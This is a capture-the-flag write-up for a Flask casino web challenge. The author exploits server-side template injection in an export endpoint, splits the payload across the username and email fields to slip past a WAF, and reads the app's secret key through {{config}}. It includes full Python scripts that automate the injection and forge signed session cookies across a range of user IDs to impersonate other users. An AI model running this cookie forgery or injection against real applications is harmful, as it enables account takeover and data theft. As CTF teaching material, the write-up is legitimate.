N0PS CTF 2025 writeup web casino
Description
Welcome, everyone !
Welcome to WebTopia’s Casino !
Witness the wonders of this marvelous place, take your time, enjoy it…
and please don’t look too much for vulnerabilities
Authors : algorab & Sto
Summary of Exploitation
This challenge was medium difficulty and built with Python (Flask). It features a tricky SSTI that leads to RCE through the /export
endpoint. At first, the app looks like a simple casino game with account creation and gameplay, but digging deeper reveals an "Export Account Data" feature that's vulnerable. With the right payload, it's possible to achieve remote code execution by exploiting server-side template injection (SSTI) in this export functionality.
First thing we see the login and register

If we sign in we will see the dashboard and has a spin , reset , export data

If we export the data, there's a user-controlled input reflected in the page

We observe that the response includes our email and username—both user-controlled values. Since the web server is running Python (Flask), injecting an SSTI payload reflects the result in the response.


We notice that the /export
endpoint is protected by a WAF that blocks our input.
Since I was lazy 😅, I wrote a Python script to automate sign-up, login, and trigger the /export
endpoint.
import requests
import sys
import random
Session = requests.Session()
URL = "http://127.0.0.1:5000" # change this!!!!
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <username> <email>")
sys.exit(1)
username = sys.argv[1]
email = sys.argv[2]
def register(username, email):
data = {
"username": username,
"email": email,
"password": "xxxx"
}
response = Session.post(f"{URL}/register", data=data)
return response
def login(username):
data = {
"username": username,
"password": "xxxx"
}
response = Session.post(f"{URL}/login", data=data)
return response
def export():
response = Session.get(f"{URL}/export")
print(response.text)
return response
def random_bytes():
return random.randbytes(6).hex()
if __name__ == "__main__":
print("Generating random bytes for registration...")
random_hex = random_bytes()
username = f"{random_hex}_{username}"
print(f"Registering user: {username}")
register(username, email)
print(f"Logging in user: {username}")
login(username)
print("Exporting data...")
export()
Let’s return to the SSTI and attempt to bypass the mitigation in place.

The first bypass didn’t work. After thinking for a bit, I tried putting part of the payload in the username and the other part in the email. That way, I was able to bypass the filter.

Lets go The exploit worked. Now the goal is to escalate it to Remote Code Execution (RCE)
After a while, I tried to escalate it to RCE, but it didnt work—turns out I’ve got a bit of a skill issue when it comes to SSTI-to-RCE 😅
Change the Plan!!!
Since I have a skill issue turning SSTI into RCE 😅, I’m switching tactics to stealing Flask’s secret key and spying on other users’ flags instead.

now the goal is getting the secret key, simplly i can make my payload to {{config}}

nice, i made a python code that use flask-unsign and a little bit of magic to do that
import sys
import subprocess
import requests
Session = requests.Session()
URL = "https://127.0.0.1:5000/export"
SECRET = 'PSGc0BTCpVEa6Zzi-GdSdeT2h16nWcqT_5RT52fCMtS0BFnW22L_th-TmaEv85iMN2Lmrdbqv1-6B81v8kALrw'
_ID = 'bee349c6fb5b0717bf710b61108cadf7bd030417a4e4127d3cb0e0197a2ff47671f050d122e1472decacff2cc6d10f80555898854416db06da0e32b88e1f3eeb'
def sign_cookie(user_id: int) -> str:
cookie_dict = f"{{'_fresh': True, '_id': '{_ID}', '_user_id': '{user_id}'}}"
cmd = [
"flask-unsign", "--sign",
"--cookie", cookie_dict,
"--secret", SECRET
]
# print(cmd)
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode != 0:
print(f"Error signing cookie for user_id {user_id}: {result.stderr.strip()}")
return None
return result.stdout.strip()
def visit_with_cookie(signed_cookie: str):
cookies = {"session": signed_cookie}
print(signed_cookie)
response = requests.get(URL, cookies=cookies)
return response
if __name__ == "__main__":
for user_id in range(340, 1001):
print(f"Signing cookie for user_id={user_id}...")
signed = sign_cookie(user_id)
if not signed:
continue
print(f"Visiting {URL} with signed cookie...")
resp = visit_with_cookie(signed)
print(f"response snippet: \n\n{resp.text}\n")
this script forges session cookies for other user IDs to impersonate them. By doing so, it tries to access their data—specifically to retrieve the flag from other users’ sessions. The loop starts from user ID 340 because earlier attempts didn’t reveal the flag.
after a little bit of time i get the flag !!

thanks for id 373 <3
I hope you enjoyed! in my write up
Last updated